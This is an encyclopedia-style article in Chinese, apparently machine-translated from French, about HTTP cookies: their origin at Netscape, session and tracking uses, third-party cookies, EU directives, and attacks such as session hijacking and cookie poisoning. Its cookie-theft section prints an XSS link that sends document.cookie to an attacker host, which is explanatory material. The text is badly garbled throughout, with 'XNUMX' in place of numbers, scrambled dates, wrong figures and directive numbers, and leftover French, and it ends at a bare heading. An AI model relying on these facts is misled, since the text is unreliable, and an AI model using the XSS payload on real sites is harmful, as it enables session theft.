互聯網 Cookie：它是什麼？ 定義、起源、類型和隱私

Un cookie 或 web cookie （或 曲奇餅，簡寫為 見證 在魁北克）由 HTTP 通信協議定義為由 HTTP 服務器發送到 HTTP 客戶端的一系列信息，後者在特定條件下每次查詢同一 HTTP 服務器時返回該信息。

cookie 相當於一個 存儲在終端上的小文本文件 的互聯網用戶。 已有 20 多年的歷史，它們允許網站開發人員存儲用戶數據，以方便他們的導航並允許某些功能。 Cookie 一直或多或少存在爭議，因為它們包含可能被第三方利用的殘留個人信息。

它作為 HTTP 標頭由 Web 服務器發送到 Web 瀏覽器，瀏覽器每次訪問服務器時都將其原封不動地返回。 cookie 可用於 認證, 一個會話 （狀態維護），以及 存儲有關用戶的特定信息，例如站點首選項或電子購物車的內容。 cookie一詞來源於 魔法餅乾，UNIX 計算中的一個著名概念，它激發了瀏覽器 cookie 的想法和名稱。 存在一些 cookie 的替代品，每種都有自己的用途、優點和缺點。

作為簡單的文本文件，cookie 不可執行。 他們不是 既不是間諜軟件也不是病毒，儘管來自某些站點的 cookie 會被許多防病毒軟件檢測到，因為它們允許用戶在訪問多個站點時被跟踪。 

大多數現代瀏覽器允許用戶 決定是否接受或拒絕 cookie. 用戶還可以 選擇 cookie 的存儲時間. 但是，完全拒絕 cookie 會使某些站點無法使用。 例如，存儲需要使用憑據（用戶名和密碼）登錄的購物車或網站。

HISTORIQUE

術語 餅乾 源自英語術語 魔法餅乾，這是程序接收並返回的數據包。 Cookie 已在 IT 中使用 盧·蒙圖裡 有想法在網絡通信中使用它們 在1994年XNUMX月。 當時，他受僱於為客戶開發電子商務應用程序的 Netscape Communications。 Cookies 解決了商店虛擬購物車實施的可靠性問題。

同年，John Giannandrea 和 Lou Montulli 編寫了 Netscape 的第一個 cookie 規範。 0.9 年 13 月 1994 日發布的 Mosaic Netscape XNUMX beta 版，集成了 餅乾技術 (見帖子). cookie 的第一個（非實驗性）用途是確定 Netscape 網站的訪問者之前是否訪問過該網站。 Montulli於1995年提交了曲奇技術的專利申請，並獲得美國專利5774670。 1998年授予.

0.9 年在 Netscape 1994 beta 中實施後，cookie 被集成到 2 年 1995 月發布的 Internet Explorer XNUMX 中。

cookie 的引入尚未為公眾所廣泛知曉。 特別是，cookie 在瀏覽器設置中默認被接受，用戶不會被告知它們的存在。 1995年第一季度左右有人知道cookies的存在，但直到12年1996月1996日英國《金融時報》發表文章後，大眾才知道cookies的存在。同年，cookies受到媒體廣泛關注因為可能侵犯隱私。 美國聯邦貿易委員會在 1997 年和 XNUMX 年的兩次磋商中討論了 cookie 的主題。

官方 cookie 規範的開發已經在進行中。 官方規範的第一次討論發生在 1995 年 1996 月的 www-talk 郵件列表上。 一個專門的 IETF 工作組成立了。 Brian Behlendorf 和 David Kristol 分別提出了兩個將狀態引入 HTTP 事務的備選方案，但由 Kristol 本人領導的小組決定使用 Netscape 的規範作為起點。 XNUMX 年 XNUMX 月，工作組確定第三方 cookie 是對隱私的重大威脅。 該小組制定的規範最終發佈為 RFC 2109.

從 2014 年底開始，我們在許多網站上看到了關於 cookie 的橫幅。 至少有一個瀏覽器擴展允許 未顯示橫幅.

Cookie 的類型和用途

會話管理

Cookie 可用於在導航期間維護用戶數據，也可用於多次訪問。 引入 Cookie 是為了提供一種實現電子購物車的方法，這是一種虛擬設備，用戶可以在瀏覽網站時在其中累積他想要購買的商品。

如今，購物車等應用程序將商品列表存儲在服務器的數據庫中，這是更可取的； 而不是將它們保存在 cookie 本身中。 Web 服務器發送一個包含唯一會話 ID 的 cookie。 然後，Web 瀏覽器會在每個後續請求中返回此會話 ID，購物籃中的商品將被保存並與此相同的唯一會話 ID 相關聯。

頻繁使用 cookie 對於使用憑據登錄站點非常有用。 簡而言之，Web 服務器首先發送一個包含唯一會話 ID 的 cookie。 然後用戶提供他們的憑據（通常是用戶名和密碼）。 然後，Web 應用程序對會話進行身份驗證並允許用戶訪問該服務。

個性化

Cookie 可用於記住有關站點用戶的信息，以便將來向他顯示適當的內容。 例如，網絡服務器可以發送一個 cookie，其中包含用於登錄該網站的最後一個用戶名，這樣用戶名就可以在以後的訪問中預先填充。

許多網站使用 cookie 來根據用戶偏好進行個性化設置。 用戶在表單中選擇他們的偏好並將它們提交給服務器。 服務器在 cookie 中對首選項進行編碼並將其發送回瀏覽器。 隨後，每次用戶訪問該站點的頁面時，瀏覽器都會返回 cookie，從而返回偏好列表； 然後服務器可以根據用戶的喜好定制頁面。 例如，維基百科網站允許其用戶選擇他們喜歡的網站的皮膚。 Google 搜索引擎允許其用戶（即使他們沒有註冊）選擇他們希望在每個結果頁面上看到的結果數量。

追踪

跟踪 cookie 用於跟踪互聯網用戶的瀏覽習慣。 這也可以通過使用發出頁面請求的計算機的 IP 地址或使用客戶端隨每個請求發送的“引薦來源網址”HTTP 標頭來部分完成，但 cookie 允許更高的精度。 這可以按照以下示例完成：

1. 如果用戶調用站點上的頁面，並且請求不包含 cookie，則服務器假定這是用戶訪問的第一個頁面。 服務器然後創建一個隨機字符串並將其與請求的頁面一起發送到瀏覽器。
2. 從這一刻起，每次調用站點的新頁面時，瀏覽器都會自動發送 cookie。 服務器將照常發送頁面，但也會在日誌文件中記錄調用頁面的 URL、請求的日期、時間和 cookie。

通過查看日誌文件，可以了解用戶訪問了哪些頁面以及訪問的順序。 例如，如果文件包含一些使用 id=abc cookie 發出的請求，則可以確定所有這些請求都來自同一用戶。 請求的 URL、與請求關聯的日期和時間允許跟踪用戶的瀏覽。

第三方 cookie 和網絡信標，如下所述，還可以跨不同站點進行跟踪。 單一站點跟踪通常用於統計目的。 相比之下，廣告公司通常使用第三方 cookie 跨不同站點進行跟踪來生成匿名用戶配置文件（然後用於確定應向用戶顯示哪些廣告以及向他發送與這些廣告相對應的電子郵件——垃圾郵件).

跟踪 cookie 存在侵犯用戶隱私的風險，但可以輕鬆刪除。 大多數現代瀏覽器都包含一個選項，可以在關閉應用程序時自動刪除持久性 cookie。

第三方 cookie

網頁中包含的圖像和其他對象可能駐留在與託管該網頁的服務器不同的服務器上。 為了顯示頁面，瀏覽器下載所有這些對象。 大多數網站包含來自不同來源的信息。 例如，如果您在瀏覽器中輸入 www.example.com，頁面的一部分上通常會有來自不同來源的對像或廣告，即來自與 www..example.com 不同的域。 “第一”方 cookie 是由瀏覽器地址欄中列出的域設置的 cookie。 第三方 cookie 由來自不同域的頁面對象之一設置。

默認情況下，Mozilla Firefox、Microsoft Internet Explorer 和 Opera 等瀏覽器接受第三方 cookie，但用戶可以更改瀏覽器選項中的設置以阻止它們。 啟用網絡功能的第三方 cookie 沒有固有的安全風險，但它們也用於跟踪用戶。 從一個站點到另一個站點.

適用於包括 Google Chrome 在內的所有瀏覽器的 Ghostery 等工具可以阻止第三方之間的交換。

執行

Cookies 是網絡服務器發送給瀏覽器的一小段數據。 瀏覽器將它們原封不動地返回給服務器，將狀態（過去事件的記憶）引入到其他無狀態的 HTTP 事務中。 如果沒有 cookie，每次檢索網頁或網頁組件都是一個孤立的事件，獨立於對同一站點的其他請求。 除了能夠被網絡服務器設置之外，如果瀏覽器支持和授權，cookies也可以被JavaScript等腳本語言設置。

官方 cookie 規范建議瀏覽器應該能夠保存和重新發送最少數量的 cookie。 具體來說，瀏覽器應該能夠存儲至少 300 個 cookie，每個 20 KB，並且至少 XNUMX 個 cookie 用於單個服務器或域。

根據第 3.1 節 RFC 2965, cookie 名稱不區分大小寫。

cookie 可以指定其到期日期，在這種情況下，cookie 將在該日期被刪除。 如果 cookie 沒有指定到期日期，則一旦用戶離開瀏覽器，cookie 就會被刪除。 因此，指定到期日期是使 cookie 在多個會話中存活的一種方法。 因此，具有過期日期的 cookie 被稱為 一貫. 示例應用程序：零售站點可能使用持久性 cookie 來記錄用戶放入購物車的商品（實際上，cookie 可能指的是保存在銷售站點數據庫中的條目，而不是您計算機中的條目） . 通過這種方式，如果用戶沒有購買就離開了瀏覽器並稍後返回瀏覽器，他們將能夠再次找到購物車中的商品。 如果這些 cookie 沒有給出失效日期，它們將在瀏覽器關閉時失效，並且有關購物籃內容的信息將會丟失。

Cookie 的範圍可以限制在創建它們的服務器上的特定域、子域或路徑。

創建一個cookie

網頁的傳輸是使用超文本傳輸協議 (HTTP) 完成的。 通過忽略 cookie，瀏覽器通常會向 Web 服務器發送一段名為 請求. 例如，要訪問頁面 www.example.org/index.html，瀏覽器連接到服務器 www.example.org 並發送如下所示的請求：

	GET /index.html HTTP/1.1 主機：www.example.org
航海家	→	serveur

服務器通過發送請求的頁面來響應，前面是類似的文本，整個被稱為 HTTP響應. 此數據包可能包含指示瀏覽器存儲 cookie 的行：

	HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value （HTML 頁面）
航海家	←	serveur

如果服務器希望瀏覽器存儲 cookie，則服務器僅發送 Set-Cookie 行。 Set-Cookie 是請求瀏覽器存儲 name=value 字符串，並在以後對服務器的所有請求中返回它。 如果瀏覽器支持 cookie 並且在瀏覽器選項中啟用了 cookie，則 cookie 將包含在對同一服務器發出的所有後續請求中。 例如，瀏覽器通過向服務器 www.example.org 發送以下請求來調用頁面 www.example.org/news.html：

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
航海家	→	serveur

這是對來自同一服務器的另一個頁面的請求，與上面的第一個不同，因為它包含服務器先前發送給瀏覽器的字符串。 通過這種方式，服務器知道這個請求鏈接到前一個請求。 服務器通過發送被調用的頁面以及向其添加其他 cookie 來響應。

服務器可以通過發送新行 Set-Cookie: name=new_value 響應調用的頁面來更改 cookie 的值。 然後瀏覽器用新值替換舊值。

Set-Cookie 行通常由 CGI 程序或其他腳本語言創建，而不是由 HTTP 服務器創建。 HTTP 服務器（例如：Apache）只會將程序的結果（包含 cookie 的標頭前面的文檔）傳輸到瀏覽器。

Cookie 也可以通過在瀏覽器中運行的 JavaScript 或其他類似語言來設置，即在客戶端而不是服務器端。 在 JavaScript 中，document.cookie 對像用於此目的。 例如，語句 document.cookie = "temperature=20" 創建一個名為 "temperature" 且值為 20 的 cookie。

cookie 的屬性

除了名稱/值對之外，cookie 還可以包含到期日期、路徑、域名和預期的連接類型，即正常或加密。 RFC 2965 也定義了 cookie 必須有一個強制性的版本號，但是這個通常被省略。 這些數據部分跟在 name=new_value 對之後，並用分號分隔。 例如，服務器可以通過發送 Set-Cookie 行來創建一個 cookie：name=new_value； 過期=日期； 路徑=/; 域=.example.org。

cookie 過期

在以下情況下，Cookie 會過期，瀏覽器不會將其發送到服務器：

• 當瀏覽器關閉時，如果 cookie 不持久。
• 當 cookie 過期日期已過。
• 當 cookie 到期日期（由服務器或腳本）更改為過去的日期時。
• 當瀏覽器應用戶要求刪除cookie時。

第三種情況允許服務器或腳本顯式刪除一個cookie。 請注意，使用 Google Chrome 網絡瀏覽器可以通過訪問內容設置來了解特定 cookie 的到期日期。 如果不採取任何措施將其刪除，保存在計算機上的 cookie 很可能會保留數十年。

刻板印象

自從在 Internet 上推出以來，有關 cookie 的許多想法已在 Internet 和媒體中流傳。 1998 年，美國能源部計算機事件監測小組 CIAC 確定 cookie 安全漏洞“基本上不存在”，並解釋說“有關您訪問來源的信息和您訪問過的網頁的詳細信息已經存在於 Web 服務器的日誌文件中”。 2005 年，Jupiter Research 發布了一項研究結果，其中很大一部分受訪者考慮了以下陳述：

• 餅乾就像 病毒，它們會感染用戶的硬盤。
• Cookie 生成 彈出式.
• Cookie 用於發送 垃圾郵件.
• Cookie 僅用於廣告。

Cookie 無法從用戶的計算機中刪除或讀取信息。 但是，cookie 可以檢測用戶在給定站點或站點集上訪問的網頁。 這些信息可以收集在可以使用或轉售給第三方的用戶配置文件中，這可能會造成嚴重的隱私問題。 有些個人資料是匿名的，因為它們不包含任何個人信息，但即使是這樣的個人資料也可能有問題。

根據同一項研究，很大一部分互聯網用戶不知道如何刪除 cookie。 人們不信任 cookie 的原因之一是某些網站濫用了 cookie 的個人識別功能，並與其他來源共享此信息。 很大一部分定向廣告和未經請求的電子郵件（被視為垃圾郵件）來自跟踪 cookie 收集的信息。

瀏覽器設置

大多數瀏覽器都支持 cookie 並允許用戶禁用它們。 最常見的選項是：

• 完全啟用或禁用 cookie，以便它們不斷被接受或阻止。
• 通過在瀏覽器的地址欄中輸入 javascript: alert(document.cookie) 允許用戶查看給定頁面中的活動 cookie。 一些瀏覽器為用戶整合了一個 cookie 管理器，用戶可以查看和有選擇地刪除瀏覽器當前存儲的 cookie。

大多數瀏覽器還允許完全刪除包括 cookie 在內的個人數據。 還存在用於控制 cookie 權限的其他模塊。

隱私和第三方 Cookie

在這個虛構的例子中，一家廣告公司在兩個網站上放置了橫幅。 通過在其服務器上託管橫幅廣告並使用第三方 cookie，廣告公司能夠跟踪用戶在這兩個網站上的瀏覽情況。

Cookie 對網絡用戶的隱私和匿名具有重要意義。 儘管 cookie 僅被發送回設置它們的服務器或屬於同一 Internet 域的服務器，但是網頁可能包含存儲在屬於其他域的服務器上的圖像或其他組件。 在恢復這些外部組件期間設置的 cookie 稱為 第三方 cookie. 這包括來自不需要的彈出窗口的 cookie。

廣告公司使用第三方 cookie 來跟踪用戶訪問的不同站點。 特別是，廣告公司可以在其放置廣告圖像或跟踪像素的所有頁面上跟踪用戶。 了解用戶訪問過的頁面可以讓廣告公司確定用戶的廣告偏好。

一些人認為建立用戶配置文件的能力是對隱私的侵犯，尤其是在使用第三方 cookie 跨不同域進行跟踪時。 出於這個原因，一些國家製定了 cookie 立法。

美國政府在 2000 年對 cookie 的放置實施了嚴格的規定，此前有消息稱白宮藥物政策辦公室正在使用 cookie 來跟踪查看在線藥物廣告的用戶的計算機。 2002 年，隱私活動家丹尼爾·勃蘭特 (Daniel Brandt) 發現中央情報局 (CIA) 在訪問過其網站的計算機上留下了持久性 cookie。 一旦獲悉此違規行為，中央情報局宣布這些 cookie 不是有意發送的，並停止設置它們。 25 年 2005 月 XNUMX 日，Brandt 發現國家安全局 (NSA) 由於軟件更新而在訪問者的計算機上留下了兩個持久性 cookie。 接到通知後，NSA 立即禁用了 cookie。

在英國， 餅乾法 ”，於 25 年 2012 月 XNUMX 日生效，要求網站聲明其意圖，從而允許用戶選擇是否要在互聯網上留下痕跡。 因此可以保護它們免受廣告定位。 然而， d'après 守護者，互聯網用戶的同意不一定是明確的； 對用戶同意條款進行了更改，使其成為 因此暗示.

關於隱私的第 2002/58 號指令

指令 202/58 隱私和電子通信，包含有關使用 cookie 的規則。 特別是，該指令第 5 條第 3 款要求只有在以下情況下才能在用戶計算機中存儲數據（例如 cookie）：

• 用戶被告知數據是如何使用的；
• 用戶可以選擇拒絕此存儲操作。 但是，這篇文章還指出，出於技術原因的數據存儲不受本法約束。

該指令原定於 2003 年 2004 月實施，但根據 XNUMX 年 XNUMX 月的一份報告，該指令的實施非常不完善，該報告還指出，某些成員國（斯洛伐克、拉脫維亞、希臘、比利時和盧森堡）尚未轉換指令轉化為國內法。

根據 29 國集團在 2010 年的意見，該指令特別規定在互聯網用戶明確同意的情況下將 cookie 用於行為廣告目的，但應用仍然很差。 事實上，大多數網站以不符合該指令的方式這樣做，他們將自己限制在一個簡單的“橫幅”上，通知“cookies”的使用，而不提供有關使用的信息，也不區分“技術”cookies。 “跟踪”cookies，也不向希望保留技術cookies（如購物車管理cookies）和拒絕“跟踪”cookies的用戶提供真正的選擇。 事實上，如果拒絕 cookie，許多網站將無法正常運行，這不符合指令 2002/58 或指令 95/46（個人數據保護）。

指令 2009/136/CE

本材料已根據 2009 年 136 月 25 日發布的指令 2009/95/EC 進行了更新，其中規定“僅在以下條件下才允許在訂戶或用戶的終端設備中存儲信息或獲取已存儲信息的訪問權限：訂戶或用戶在收到符合指令 46/XNUMX/EC 的明確且完整的信息後，已同意其他人關於處理目的的信息”。 因此，新指令加強了在互聯網用戶計算機上放置 cookie 之前的義務。

然而，在該指令的初步考慮中，歐洲立法者明確指出：“在技術上可行且有效的情況下，根據指令 95/46/EC 的相關規定，用戶對處理的同意可以通過使用瀏覽器或其他應用程序的適當設置”。 但事實上，迄今為止，還沒有瀏覽器能夠將基本技術 cookie 與應留給用戶選擇的可選 cookie 分離。

這項新指令於 2012 年 2014 月由比利時國會議員轉換。XNUMX 年的一項研究表明，即使是國會議員也很難申請 指令的約束.

P3P

P3P 規範包括服務器聲明隱私策略的能力，該策略定義了它收集何種信息以及出於何種目的。 這些政策包括（但不限於）使用通過 cookie 收集的信息。 根據P3P的定義，瀏覽器可以通過將隱私政策與用戶的偏好進行比較，或者通過詢問用戶，出示服務器聲明的隱私政策隱私聲明，來接受或拒絕cookies。

許多瀏覽器，包括 Apple Safari 和 Microsoft Internet Explorer 版本 6 和 7，都支持 P3P，它允許瀏覽器決定是否接受第三方 cookie 存儲。 Opera 瀏覽器允許用戶拒絕第三方 cookie 並為 Internet 域創建全局和特定的安全配置文件。 Mozilla Firefox 第 2 版放棄了 P3P 支持，但在第 3 版中恢復了它。

大多數瀏覽器都可以阻止第三方 cookie，以增加隱私並減少廣告跟踪，而不會對用戶的網絡體驗產生負面影響。 許多廣告公司提供了一個選項 選擇退出 有針對性的廣告，通過在瀏覽器中設置一個通用 cookie 來停用此目標，但這種解決方案實際上並不有效，當它被尊重時，因為一旦用戶刪除這些取消選擇的 cookie，這個通用 cookie 就會被刪除出決定。

餅乾的缺點

除了隱私問題之外，cookie 還存在一些技術缺陷。 特別是，它們並不總能準確識別用戶，大量使用時會降低站點性能，可用於安全攻擊，並且與典型的狀態轉移、軟件架構風格相衝突。

不准確的識別

如果在一台計算機上使用多個瀏覽器，則每個瀏覽器中始終有一個單獨的 cookie 存儲單元。 因此，Cookie 不識別個人，而是用戶帳戶、計算機和網絡瀏覽器的組合。 因此，任何人都可以使用這些包含大量 cookie 的帳戶、計算機或瀏覽器。 同樣，cookie 不會區分共享同一用戶帳戶、計算機和瀏覽器的多個用戶，例如在“網吧”或任何可以免費訪問計算機資源的地方。

但在實踐中，這種說法在大多數情況下被證明是錯誤的，因為今天“個人”計算機（或智能手機或平板電腦，更糟糕）主要由一個人使用。這相當於針對特定的人和通過收集的信息量實現個性化定位，即使這個人沒有被“即”識別出來。

竊取cookie

cookie 可能會被網絡上的另一台計算機竊取。

在正常操作期間，cookie 在服務器（或同一域中的一組服務器）和用戶的計算機瀏覽器之間發回。 由於 cookie 可以包含敏感信息（用戶名、用於身份驗證的密碼等），因此其他計算機不應訪問它們的值。 Cookie 盜竊是未經授權的第三方攔截 cookie 的行為。

在稱為會話劫持的攻擊中，可以通過數據包嗅探器竊取 Cookie。 網絡上的流量可能會被發送和接收計算機以外的計算機攔截和讀取（尤其是在未加密的公共 Wi-Fi 空間中）。 此流量包括使用純 HTTP 協議通過會話發送的 cookie。 當網絡流量未加密時，惡意用戶可以使用“數據包嗅探器”讀取網絡上其他用戶的通信。

這個問題可以通過使用 HTTPS 協議加密用戶計算機和服務器之間的連接來解決。 服務器可以指定一個 安全標誌 在設置 cookie 時； 瀏覽器只會通過安全線路（例如 SSL 連接）發送它。

然而，許多網站雖然使用 HTTPS 加密通信進行用戶身份驗證（即登錄頁面），但出於效率原因，後來通過未加密的 HTTP 連接正常發送會話 cookie 和其他數據。 因此，攻擊者可以攔截其他用戶的 cookie 並在適當的站點上冒充它們或在 cookie 攻擊中使用它們。

站點中的腳本：只應在服務器和客戶端之間交換的 cookie 被發送給另一個第三方。

竊取 cookie 的另一種方法是編寫站點腳本，讓瀏覽器本身將 cookie 發送到從未接收到它們的惡意服務器。 現代瀏覽器允許從服務器執行受歡迎的代碼部分。 如果在運行時訪問 cookie，它們的值可能會以某種形式傳遞給不應訪問它們的服務器。 在通過網絡發送 cookie 之前對其進行加密無助於阻止攻擊。

攻擊者通常會在允許用戶發布 HTML 內容的網站上使用這種類型的站內腳本。 通過在 HTML 貢獻中集成部分兼容代碼，攻擊者可以接收來自其他用戶的 cookie。 可以通過使用被盜 cookie 連接到同一站點來使用對這些 cookie 的了解，從而將其識別為 cookie 被盜的用戶。

防止此類攻擊的一種方法是使用 HttpOnly 標誌； 這是一個選項，從 Internet Explorer 版本 6 開始在 PHP 5.2.0 版本中引入，計劃使靠近腳本的客戶端無法訪問 cookie。 然而，Web 開發人員應該在他們的網站開發中考慮到這一點，這樣他們就不會受到網站腳本的影響。

使用的另一個安全威脅是站點中的需求偽造。

官方技術規範只允許將 cookie 發送回它們所在域中的服務器。 但是，可以使用 cookie 標頭以外的方式將 cookie 的值發送到其他服務器。

特別是，像 JavaScript 這樣的腳本語言通常被允許訪問 cookie 值，並且能夠將任意值發送到互聯網上的任何服務器。 此腳本功能用於允許用戶發布 HTML 內容供其他用戶查看的網站。

例如，在 example.com 域上運行的攻擊者可能會發布包含以下鏈接的評論，該鏈接指向他們無法控制的熱門博客：

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

當另一個用戶單擊此鏈接時，瀏覽器會執行代碼的 onclick 屬性部分，因此它會將 document.cookie 字符串替換為對此頁面處於活動狀態的用戶 cookie 列表。 因此，這個 cookie 列表被發送到 example.com 服務器，攻擊者因此能夠收集該用戶的 cookie。

這種類型的攻擊在用戶端很難檢測到，因為腳本來自設置 cookie 的同一個域，發送值的操作似乎是由該域授權的。 人們認為，運營此類站點的管理員有責任實施限制以防止發布惡意代碼。

如果 Cookie 是使用 HttpOnly 標誌發送的，則 Cookie 對客戶端程序（如 JavaScript）不直接可見。 從服務器的角度來看，唯一的區別是在 Set-Cookie 標頭的行中添加了一個包含字符串 HttpOnly 的新字段：

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

當瀏覽器收到這樣的 cookie 時，它應該在接下來的 HTTP 交換中正常使用它，但不會讓它對客戶端執行的腳本可見。 HttpOnly 標誌不是任何官方技術規範的一部分，也沒有在所有瀏覽器中實現。 請注意，目前沒有辦法阻止通過 XMLHTTPRequest 方法讀取和寫入會話 cookie。

修改內容：攻擊者向服務器發送無效的 cookie，可能由服務器發送的有效 cookie 製成。

更改 cookie

一旦需要存儲 cookie 並將其原封不動地返回到服務器，攻擊者就可以在將 cookie 發送回服務器之前修改 cookie 的值。 例如，如果 cookie 包含用戶必須為商店購物車中的商品支付的總價值，更改此值會使服務器面臨向攻擊者收取低於起始價格的風險。 修改cookie值的過程稱為 餅乾中毒 並且可以在 cookie 盜竊後使用，使攻擊持續存在。

在 cookie 覆蓋方法中，攻擊者利用瀏覽器故障向服務器發送無效的 cookie。

然而，大多數網站僅在 cookie 本身中存儲一個會話 ID——一個隨機生成的唯一編號，用於識別會話用戶，而所有其他信息都存儲在服務器上。 這樣一來，這個問題就基本解決了。

網站之間的 Cookie 處理

每個站點都應該有自己的 cookie，因此一個站點不應該能夠修改或創建與另一個站點關聯的 cookie。 Web 瀏覽器的安全漏洞可能允許惡意站點打破此規則。 利用這種缺陷通常被稱為 跨站點烹飪. 此類攻擊的目的可能是竊取會話 ID。

用戶應使用幾乎消除了這些漏洞的最新版本的 Web 瀏覽器。

客戶端和服務器之間的衝突狀態

使用 cookie 可能會在客戶端狀態和 cookie 中存儲的狀態之間產生矛盾。 如果用戶獲取了一個cookie，點擊了瀏覽器的“後退”按鈕，瀏覽器的狀態一般與此次獲取之前不一樣。 例如，如果在線商店的購物車是使用 cookie 創建的，則當用戶返回到瀏覽器歷史記錄時，購物車的內容不會更改：如果用戶按下按鈕以在他的購物車中添加商品並單擊“返回” "按鈕，文章保留在這一篇。 這可能不是用戶的本意，用戶肯定想取消文章的添加。 這可能會導致不可靠、混亂和錯誤。 所以 Web 開發人員應該意識到這個問題並採取措施來處理這種情況。

Cookie 過期

持久性 cookie 被隱私安全專家批評為沒有設置足夠快的過期時間，從而允許網站跟踪用戶並隨著時間的推移建立他們的個人資料。 cookie 的這一方面也是會話劫持問題的一部分，因為竊取的持久性 cookie 可用於在相當長的一段時間內冒充用戶。

還要讀： GAFAM：他們是誰？ 為什麼他們（有時）如此可怕？

餅乾的替代品

一些可以使用 cookie 執行的操作也可以使用其他機制來執行，這些機制可以免除 cookie 或重新創建已刪除的 cookie，這會以與 cookie 相同的方式（或有時更糟，因為那時不可見）產生隱私問題。

IP地址

可以使用調用該頁面的計算機的 IP 地址來跟踪用戶。 自從引入萬維網以來，這種技術就已經可用，當下載頁面時，服務器會請求運行瀏覽器或代理的計算機的 IP 地址，如果沒有使用的話。 無論是否使用 cookie，服務器都可以跟踪此信息。 然而，這些地址在識別用戶方面通常不如 cookie 可靠，因為計算機和代理可能由多個用戶共享，並且同一台計算機可能在每個工作會話中收到不同的 IP 地址（例如電話連接的情況） .

在某些情況下，通過 IP 地址進行跟踪可能是可靠的，例如只要電源打開，寬帶連接就會長時間保持相同的 IP 地址。

某些系統（如 Tor）旨在保持 Internet 的匿名性，並使通過 IP 地址進行跟踪變得不可能或不切實際。

網址

一種更精確的技術是基於在 URL 中嵌入信息。 URL 的查詢字符串部分是一種通常用於此目的的技術，但也可以使用其他部分。 如果未啟用 cookie，Java serverlet 和 PHP 會話機制都使用此方法。

此方法涉及 Web 服務器在將請求發送到瀏覽器時將字符串請求附加到帶有它的網頁的鏈接。 當用戶點擊鏈接時，瀏覽器會將附加的查詢字符串返回給服務器。

用於此目的的查詢字符串與 cookie 非常相似，都是服務器任意選擇並由瀏覽器返回的信息。 但是，有一些區別：當重複使用包含查詢字符串的 URL 時，相同的信息會發送到服務器。 例如，如果用戶的首選項編碼在 URL 的查詢字符串中，並且用戶通過電子郵件將該 URL 發送給另一個用戶，則該用戶也將能夠使用這些首選項。

另一方面，當用戶訪問同一個頁面兩次時，不能保證兩次都使用相同的查詢字符串。 例如，如果用戶第一次從內部站點頁面登陸一個頁面，然後第二次從外部頁面登陸同一頁面，則相對於站點頁面的查詢字符串通常不同，而 cookie 是相同的.

查詢字符串的其他缺點與安全性有關：在查詢字符串中保留標識會話的數據會啟用或簡化會話固定攻擊、標識符引用攻擊和其他攻擊。 將會話 ID 作為 HTTP cookie 傳遞更安全。

隱藏表單域

ASP.NET 使用的一種會話跟踪形式是使用帶有隱藏字段的 Web 表單。 這種技術與使用 URL 查詢字符串來攜帶信息非常相似，並且具有相同的優點和缺點； 如果使用 HTTP GET 方法處理表單，則這些字段實際上成為瀏覽器 URL 的一部分，在提交表單時將發送它。 但是大多數表單是使用 HTTP POST 處理的，這會導致表單信息（包括隱藏字段）作為附加輸入添加，既不是 URL 的一部分，也不是 cookie 的一部分。

從跟踪的角度來看，這種方法有兩個優點：首先，跟踪放置在 HTML 源代碼和 POST 輸入中的信息而不是 URL 將使普通用戶避免這種跟踪； 其次，當用戶複製 URL 時，不會復制會話信息（例如，將頁面保存到磁盤或通過電子郵件發送）。

窗口名稱

所有常見的 Web 瀏覽器都可以使用 DOM 的 window.name 屬性通過 JavaScript 存儲大量數據（2MB 到 32MB）。 此數據可用於代替會話 cookie，也可跨域使用。 該技術可以與 JSON 對象結合使用，以存儲一組複雜的客戶端會話變量。

缺點是每個單獨的窗口或選項卡最初都有一個空的 window.name； 當按選項卡（由用戶打開）瀏覽時，這意味著單獨打開的選項卡將沒有窗口名稱。 此外，window.name 可用於跟踪不同站點的訪問者，這可能會引起隱私問題。

在某些方面，這可能比 cookie 更安全，因為服務器不參與，因此使其免受嗅探 cookie 的網絡攻擊。 但是，如果採取特殊措施來保護數據，它很容易受到進一步的攻擊，因為數據可以通過在同一窗口中打開的其他站點獲得。

HTTP認證

HTTP協議包括基本的訪問認證協議和訪問認證摘要，只有在用戶給出用戶名和密碼時才允許訪問網頁。okay pass。 如果服務器請求證書以授予對網頁的訪問權限，瀏覽器會向用戶請求它，一旦獲得，瀏覽器就會存儲它並在所有後續 HTTP 請求中發送它。 此信息可用於跟踪用戶。

本地共享對象

如果瀏覽器包含 Adob​​e Flash Player 插件，則 本地共享對象 可用於與 cookie 相同的目的。 對於網絡開發人員來說，它們可能是一個有吸引力的選擇，因為：

• 本地共享對象的默認大小限制為 100 KB；
• 安全檢查與用戶 cookie 檢查是分開的（因此在不允許 cookie 時可以允許本地共享對象）。

最後一點，將 cookie 管理策略與 Adob​​e 本地共享對象的管理策略區分開來 提出問題 關於用戶對其隱私設置的管理：他必須意識到他對 cookie 的管理不會影響本地共享對象的管理，反之亦然。

對該系統的另一個批評是，它只能通過專有而非網絡標準的 Adob​​e Flash Player 插件使用。

客戶端持久化

一些網絡瀏覽器支持基於腳本的持久化機制，允許頁面在本地存儲信息以備後用。 例如，Internet Explorer 支持以 XML 格式存儲的瀏覽器歷史記錄、書籤或直接將網頁保存到磁盤中的持久性信息。 對於 Microsoft Internet Explorer 5，有一種通過 DHTML 行為可用的用戶-數據方法。

W3C 在 HTML 5 中引入了一個新的 JavaScript API，用於客戶端數據存儲，稱為 Web 存儲，旨在永久取代 cookie。 它類似於 cookie，但容量大大提高，並且不在 HTTP 請求的標頭中存儲信息。 API 允許兩種類型的 Web 存儲：localstorage 和 sessionstorage，類似於持久性 cookie 和會話 cookie（除了會話 cookie 在瀏覽器關閉時過期，同時 會話存儲 分別在選項卡關閉時過期）。 Web 存儲受 Mozilla Firefox 3.5、Google Chrome 5、Apple Safari 4、Microsoft Internet Explorer 8 和 Opera 10.50 支持。

另一種機制通常依賴於在網頁中使用 JavaScript 程序的瀏覽器緩存（在內存中而不是刷新）。 

例如，頁面可以包含標籤. La première fois que la page se charge, le programme exemple.js est aussi chargé. 

此時，程序仍保留在高速緩存中，不會重新加載訪問過的頁面。 因此，如果程序包含一個全局變量（例如 var id = 3243242;），該標識符將保持有效並且可以在頁面再次加載或加載鏈接程序的頁面後被其他 JavaScript 代碼利用。 

這種方法的主要缺點是 JavaScript 全局變量必須是靜態的，這意味著它不能像 cookie 一樣被更改或刪除。

網絡瀏覽器指紋

